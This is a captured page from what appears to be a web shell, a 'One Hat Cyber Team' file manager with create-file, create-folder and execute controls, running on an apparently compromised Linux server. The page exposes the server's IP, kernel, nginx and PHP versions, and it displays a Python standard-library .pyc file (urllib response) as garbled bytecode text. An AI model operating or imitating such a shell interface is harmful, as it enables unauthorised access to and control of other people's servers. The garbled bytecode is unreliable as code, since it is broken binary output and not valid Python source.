⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3.10
/
urllib
/
__pycache__
/
View File Name :
response.cpython-310.pyc
o }5h9 @ sZ d Z ddlZg dZG dd dejZG dd deZG dd d eZG d d deZdS )a Response classes used by urllib. The base class, addbase, defines a minimal file-like interface, including read() and readline(). The typical response object is an addinfourl instance, which defines an info() method that returns headers and a geturl() method that returns the url. N)addbaseaddclosehookaddinfo addinfourlc s8 e Zd ZdZ fddZdd Zdd Zdd Z ZS ) r zOBase class for addinfo and addclosehook. Is a good idea for garbage collection.c s t t| j|ddd || _d S )Nz
F)delete)superr __init__fp)selfr __class__ &/usr/lib/python3.10/urllib/response.pyr s zaddbase.__init__c C s d| j jt| | jf S )Nz<%s at %r whose fp = %r>)r __name__idfiler r r r __repr__ s zaddbase.__repr__c C s | j jrtd| S )NzI/O operation on closed file)r closed ValueErrorr r r r __enter__ s zaddbase.__enter__c C s | d S N)close)r typevalue tracebackr r r __exit__! s zaddbase.__exit__) r __module____qualname____doc__r r r r __classcell__r r r r r s r c s, e Zd ZdZ fddZ fddZ ZS )r z*Class to add a close hook to an open file.c s t t| | || _|| _d S r )r r r closehookhookargs)r r r! r" r r r r ( s zaddclosehook.__init__c s^ z&| j }| j}|rd | _ d | _|| W tt| d S W tt| d S tt| w r )r! r" r r r )r r! r" r r r r - s "zaddclosehook.close)r r r r r r r r r r r r % s r c s( e Zd ZdZ fddZdd Z ZS )r z.class to add an info() method to an open file.c s t t| | || _d S r )r r r headers)r r r# r r r r <